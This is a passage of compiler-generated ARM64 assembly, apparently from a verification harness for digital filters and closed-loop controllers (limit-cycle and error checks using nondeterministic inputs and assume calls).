str xzr, [sp, 1024]
.L1224:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 824]
ldr w1, [x29, 692]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 832]
sxtw x0, w1
str x0, [x29, 240]
str xzr, [x29, 248]
ldp x2, x3, [x29, 240]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 536]
ldr x4, [x29, 536]
orr x0, x0, x4
str x0, [x29, 536]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 528]
sxtw x0, w1
str x0, [x29, 224]
str xzr, [x29, 232]
ldp x2, x3, [x29, 224]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 520]
ldr x4, [x29, 520]
orr x0, x0, x4
str x0, [x29, 520]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 512]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1225:
cmp sp, x0
beq .L1226
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1225
.L1226:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1227
str xzr, [sp, 1024]
.L1227:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 840]
bl nondet_double
str d0, [x29, 848]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 16]
ldr d1, [x29, 848]
fcmpe d1, d0
bge .L1258
b .L1228
.L1258:
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 8]
ldr d1, [x29, 848]
fcmpe d1, d0
bls .L1259
b .L1228
.L1259:
mov w0, 1
b .L1231
.L1228:
mov w0, 0
.L1231:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
str wzr, [x29, 672]
b .L1232
.L1233:
ldr x1, [x29, 824]
ldrsw x0, [x29, 672]
ldr d0, [x29, 848]
str d0, [x1, x0, lsl 3]
ldr x1, [x29, 808]
ldrsw x0, [x29, 672]
str xzr, [x1, x0, lsl 3]
ldr w0, [x29, 672]
add w0, w0, 1
str w0, [x29, 672]
.L1232:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
ldr w0, [x29, 672]
cmp w0, w1
blt .L1233
str wzr, [x29, 672]
b .L1234
.L1235:
ldr x1, [x29, 840]
ldrsw x0, [x29, 672]
ldr d0, [x29, 848]
str d0, [x1, x0, lsl 3]
ldr w0, [x29, 672]
add w0, w0, 1
str w0, [x29, 672]
.L1234:
ldr w1, [x29, 672]
ldr w0, [x29, 692]
cmp w1, w0
blt .L1235
ldr w1, [x29, 696]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 856]
sxtw x0, w1
str x0, [x29, 208]
str xzr, [x29, 216]
ldp x2, x3, [x29, 208]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 504]
ldr x4, [x29, 504]
orr x0, x0, x4
str x0, [x29, 504]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 496]
sxtw x0, w1
str x0, [x29, 192]
str xzr, [x29, 200]
ldp x2, x3, [x29, 192]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 488]
ldr x4, [x29, 488]
orr x0, x0, x4
str x0, [x29, 488]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 480]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1236:
cmp sp, x1
beq .L1237
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1236
.L1237:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1238
str xzr, [sp, 1024]
.L1238:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 864]
ldr w0, [x29, 696]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 872]
sxtw x1, w0
str x1, [x29, 176]
str xzr, [x29, 184]
ldp x2, x3, [x29, 176]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 472]
ldr x4, [x29, 472]
orr x1, x1, x4
str x1, [x29, 472]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 464]
sxtw x1, w0
str x1, [x29, 160]
str xzr, [x29, 168]
ldp x2, x3, [x29, 160]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 456]
ldr x4, [x29, 456]
orr x1, x1, x4
str x1, [x29, 456]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 448]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1239:
cmp sp, x1
beq .L1240
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1239
.L1240:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1241
str xzr, [sp, 1024]
.L1241:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 880]
ldr w0, [x29, 696]
ldr w2, [x29, 692]
ldr w1, [x29, 692]
cmp w2, w0
csel w0, w1, w0, ge
str w0, [x29, 700]
ldr w0, [x29, 700]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 888]
sxtw x1, w0
str x1, [x29, 144]
str xzr, [x29, 152]
ldp x2, x3, [x29, 144]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 440]
ldr x4, [x29, 440]
orr x1, x1, x4
str x1, [x29, 440]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 432]
sxtw x1, w0
str x1, [x29, 128]
str xzr, [x29, 136]
ldp x2, x3, [x29, 128]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 424]
ldr x4, [x29, 424]
orr x1, x1, x4
str x1, [x29, 424]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 416]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1242:
cmp sp, x1
beq .L1243
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1242
.L1243:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1244
str xzr, [sp, 1024]
.L1244:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 896]
ldr w0, [x29, 700]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 904]
sxtw x1, w0
str x1, [x29, 112]
str xzr, [x29, 120]
ldp x2, x3, [x29, 112]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 408]
ldr x4, [x29, 408]
orr x1, x1, x4
str x1, [x29, 408]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 400]
sxtw x1, w0
str x1, [x29, 96]
str xzr, [x29, 104]
ldp x2, x3, [x29, 96]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 392]
ldr x4, [x29, 392]
orr x1, x1, x4
str x1, [x29, 392]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 384]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1245:
cmp sp, x1
beq .L1246
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1245
.L1246:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1247
str xzr, [sp, 1024]
.L1247:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 912]
str wzr, [x29, 672]
b .L1248
.L1253:
bl nondet_int
scvtf d0, w0
ldr x0, [x29, 864]
ldrsw x1, [x29, 672]
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 864]
ldrsw x1, [x29, 672]
ldr d1, [x0, x1, lsl 3]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 16]
fcmpe d1, d0
bge .L1260
b .L1249
.L1260:
ldr x0, [x29, 864]
ldrsw x1, [x29, 672]
ldr d1, [x0, x1, lsl 3]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 8]
fcmpe d1, d0
bls .L1261
b .L1249
.L1261:
mov w0, 1
b .L1252
.L1249:
mov w0, 0
.L1252:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
ldr x0, [x29, 864]
ldrsw x1, [x29, 672]
ldr d0, [x0, x1, lsl 3]
ldr x0, [x29, 880]
ldrsw x1, [x29, 672]
str d0, [x0, x1, lsl 3]
ldr w0, [x29, 672]
add w0, w0, 1
str w0, [x29, 672]
.L1248:
ldr w1, [x29, 672]
ldr w0, [x29, 696]
cmp w1, w0
blt .L1253
str wzr, [x29, 672]
b .L1254
.L1255:
ldr x0, [x29, 824]
ldrsw x1, [x29, 672]
ldr d0, [x0, x1, lsl 3]
ldr w1, [x29, 692]
ldr x0, [x29, 840]
bl shiftLDouble
add x1, x29, 920
add x0, x29, 1720
ldr w5, [x29, 692]
ldr w4, [x29, 696]
mov x3, x1
mov x2, x0
ldr x1, [x29, 840]
ldr x0, [x29, 864]
bl double_direct_form_1
ldr x0, [x29, 808]
ldrsw x1, [x29, 672]
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 808]
ldrsw x1, [x29, 672]
ldr d0, [x0, x1, lsl 3]
ldr w1, [x29, 696]
ldr x0, [x29, 864]
bl shiftLDouble
ldr w0, [x29, 672]
add w0, w0, 1
str w0, [x29, 672]
.L1254:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 672]
cmp w1, w0
blt .L1255
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
mov w1, w0
ldr x0, [x29, 808]
bl double_check_persistent_limit_cycle
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 2520]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1257
bl __stack_chk_fail
.L1257:
mov w0, w1
sub sp, x29, #16
.cfi_def_cfa 31, 2544
ldp x19, x20, [sp, 32]
ldp x21, x22, [sp, 48]
ldp x23, x24, [sp, 64]
ldp x25, x26, [sp, 80]
ldr x27, [sp, 96]
ldp x29, x30, [sp, 16]
add sp, sp, 2544
.cfi_restore 29
.cfi_restore 30
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE140:
.size verify_limit_cycle_closed_loop, .-verify_limit_cycle_closed_loop
.align 2
.global verify_error_closedloop
.type verify_error_closedloop, %function
verify_error_closedloop:
.LFB141:
.cfi_startproc
mov x12, 4800
sub sp, sp, x12
.cfi_def_cfa_offset 4800
stp x29, x30, [sp, 16]
.cfi_offset 29, -4784
.cfi_offset 30, -4776
add x29, sp, 16
.cfi_def_cfa 29, 4784
stp x19, x20, [sp, 32]
stp x21, x22, [sp, 48]
stp x23, x24, [sp, 64]
stp x25, x26, [sp, 80]
str x27, [sp, 96]
str d8, [sp, 104]
.cfi_offset 19, -4768
.cfi_offset 20, -4760
.cfi_offset 21, -4752
.cfi_offset 22, -4744
.cfi_offset 23, -4736
.cfi_offset 24, -4728
.cfi_offset 25, -4720
.cfi_offset 26, -4712
.cfi_offset 27, -4704
.cfi_offset 72, -4696
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 4776]
mov x1, 0
mov x0, sp
mov x19, x0
adrp x0, overflow_mode
add x1, x0, :lo12:overflow_mode
mov w0, 3
str w0, [x1]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
add x0, x0, 808
str x0, [x29, 1224]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 1608]
str w0, [x29, 1196]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
str x0, [x29, 1232]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 800]
str w0, [x29, 1200]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1240]
sxtw x0, w1
mov x4, x0
mov x5, 0
lsr x0, x4, 58
lsl x3, x5, 6
orr x3, x0, x3
lsl x2, x4, 6
sxtw x0, w1
mov x8, x0
mov x9, 0
lsr x0, x8, 58
lsl x7, x9, 6
orr x7, x0, x7
lsl x6, x8, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1263:
cmp sp, x0
beq .L1264
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1263
.L1264:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1265
str xzr, [sp, 1024]
.L1265:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1248]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 1248]
ldr x0, [x29, 1224]
bl fxp_double_to_fxp_array
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1256]
sxtw x0, w1
mov x24, x0
mov x25, 0
lsr x0, x24, 58
lsl x21, x25, 6
orr x21, x0, x21
lsl x20, x24, 6
sxtw x0, w1
mov x26, x0
mov x27, 0
lsr x0, x26, 58
lsl x23, x27, 6
orr x23, x0, x23
lsl x22, x26, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1266:
cmp sp, x0
beq .L1267
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1266
.L1267:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1268
str xzr, [sp, 1024]
.L1268:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1264]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 1264]
ldr x0, [x29, 1232]
bl fxp_double_to_fxp_array
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1272]
sxtw x0, w1
str x0, [x29, 624]
str xzr, [x29, 632]
add x0, x29, 512
ldp x2, x3, [x0, 112]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1176]
ldr x4, [x29, 1176]
orr x0, x0, x4
str x0, [x29, 1176]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 1168]
sxtw x0, w1
str x0, [x29, 608]
str xzr, [x29, 616]
add x0, x29, 512
ldp x2, x3, [x0, 96]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1160]
ldr x4, [x29, 1160]
orr x0, x0, x4
str x0, [x29, 1160]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 1152]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1269:
cmp sp, x0
beq .L1270
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1269
.L1270:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1271
str xzr, [sp, 1024]
.L1271:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1280]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 1248]
ldr x0, [x29, 1280]
bl fxp_to_double_array
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1288]
sxtw x0, w1
str x0, [x29, 592]
str xzr, [x29, 600]
add x0, x29, 512
ldp x2, x3, [x0, 80]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1144]
ldr x4, [x29, 1144]
orr x0, x0, x4
str x0, [x29, 1144]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 1136]
sxtw x0, w1
str x0, [x29, 576]
str xzr, [x29, 584]
add x0, x29, 512
ldp x2, x3, [x0, 64]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1128]
ldr x4, [x29, 1128]
orr x0, x0, x4
str x0, [x29, 1128]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 1120]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1272:
cmp sp, x0
beq .L1273
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1272
.L1273:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1274
str xzr, [sp, 1024]
.L1274:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1296]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 1264]
ldr x0, [x29, 1296]
bl fxp_to_double_array
adrp x0, plant_cbmc+808
add x0, x0, :lo12:plant_cbmc+808
str x0, [x29, 1304]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 1608]
str w0, [x29, 1204]
adrp x0, plant_cbmc
add x0, x0, :lo12:plant_cbmc
str x0, [x29, 1312]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 800]
str w0, [x29, 1208]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 1608]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 1608]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 1212]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 800]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 800]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 1216]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1320]
sxtw x0, w1
str x0, [x29, 560]
str xzr, [x29, 568]
add x0, x29, 512
ldp x2, x3, [x0, 48]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1112]
ldr x4, [x29, 1112]
orr x0, x0, x4
str x0, [x29, 1112]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 1104]
sxtw x0, w1
str x0, [x29, 544]
str xzr, [x29, 552]
add x0, x29, 512
ldp x2, x3, [x0, 32]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1096]
ldr x4, [x29, 1096]
orr x0, x0, x4
str x0, [x29, 1096]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 1088]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1275:
cmp sp, x0
beq .L1276
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1275
.L1276:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1277
str xzr, [sp, 1024]
.L1277:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1328]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1336]
sxtw x0, w1
str x0, [x29, 528]
str xzr, [x29, 536]
add x0, x29, 512
ldp x2, x3, [x0, 16]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1080]
ldr x4, [x29, 1080]
orr x0, x0, x4
str x0, [x29, 1080]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 1072]
sxtw x0, w1
str x0, [x29, 512]
str xzr, [x29, 520]
add x0, x29, 512
ldp x2, x3, [x0]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1064]
ldr x4, [x29, 1064]
orr x0, x0, x4
str x0, [x29, 1064]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 1056]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1278:
cmp sp, x0
beq .L1279
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1278
.L1279:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1280
str xzr, [sp, 1024]
.L1280:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1344]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1352]
sxtw x0, w1
str x0, [x29, 496]
str xzr, [x29, 504]
ldp x2, x3, [x29, 496]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1048]
ldr x4, [x29, 1048]
orr x0, x0, x4
str x0, [x29, 1048]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 1040]
sxtw x0, w1
str x0, [x29, 480]
str xzr, [x29, 488]
ldp x2, x3, [x29, 480]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1032]
ldr x4, [x29, 1032]
orr x0, x0, x4
str x0, [x29, 1032]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 1024]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1281:
cmp sp, x0
beq .L1282
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1281
.L1282:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1283
str xzr, [sp, 1024]
.L1283:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1360]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1368]
sxtw x0, w1
str x0, [x29, 464]
str xzr, [x29, 472]
ldp x2, x3, [x29, 464]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1016]
ldr x4, [x29, 1016]
orr x0, x0, x4
str x0, [x29, 1016]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 1008]
sxtw x0, w1
str x0, [x29, 448]
str xzr, [x29, 456]
ldp x2, x3, [x29, 448]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 1000]
ldr x4, [x29, 1000]
orr x0, x0, x4
str x0, [x29, 1000]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 992]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1284:
cmp sp, x0
beq .L1285
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1284
.L1285:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1286
str xzr, [sp, 1024]
.L1286:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1376]
ldr w1, [x29, 1212]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1384]
sxtw x0, w1
str x0, [x29, 432]
str xzr, [x29, 440]
ldp x2, x3, [x29, 432]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 984]
ldr x4, [x29, 984]
orr x0, x0, x4
str x0, [x29, 984]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 976]
sxtw x0, w1
str x0, [x29, 416]
str xzr, [x29, 424]
ldp x2, x3, [x29, 416]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 968]
ldr x4, [x29, 968]
orr x0, x0, x4
str x0, [x29, 968]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 960]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1287:
cmp sp, x0
beq .L1288
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1287
.L1288:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1289
str xzr, [sp, 1024]
.L1289:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1392]
ldr w1, [x29, 1212]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1400]
sxtw x0, w1
str x0, [x29, 400]
str xzr, [x29, 408]
ldp x2, x3, [x29, 400]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 952]
ldr x4, [x29, 952]
orr x0, x0, x4
str x0, [x29, 952]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 944]
sxtw x0, w1
str x0, [x29, 384]
str xzr, [x29, 392]
ldp x2, x3, [x29, 384]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 936]
ldr x4, [x29, 936]
orr x0, x0, x4
str x0, [x29, 936]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 928]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1290:
cmp sp, x0
beq .L1291
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1290
.L1291:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1292
str xzr, [sp, 1024]
.L1292:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1408]
ldr w1, [x29, 1212]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 1416]
sxtw x0, w1
str x0, [x29, 368]
str xzr, [x29, 376]
ldp x2, x3, [x29, 368]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 920]
ldr x4, [x29, 920]
orr x0, x0, x4
str x0, [x29, 920]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 912]
sxtw x0, w1
str x0, [x29, 352]
str xzr, [x29, 360]
ldp x2, x3, [x29, 352]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 904]
ldr x4, [x29, 904]
orr x0, x0, x4
str x0, [x29, 904]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 896]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1293:
cmp sp, x0
beq .L1294
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1293
.L1294:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1295
str xzr, [sp, 1024]
.L1295:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 1424]
bl nondet_double
str d0, [x29, 1432]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 16]
ldr d1, [x29, 1432]
fcmpe d1, d0
bge .L1338
b .L1296
.L1338:
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 8]
ldr d1, [x29, 1432]
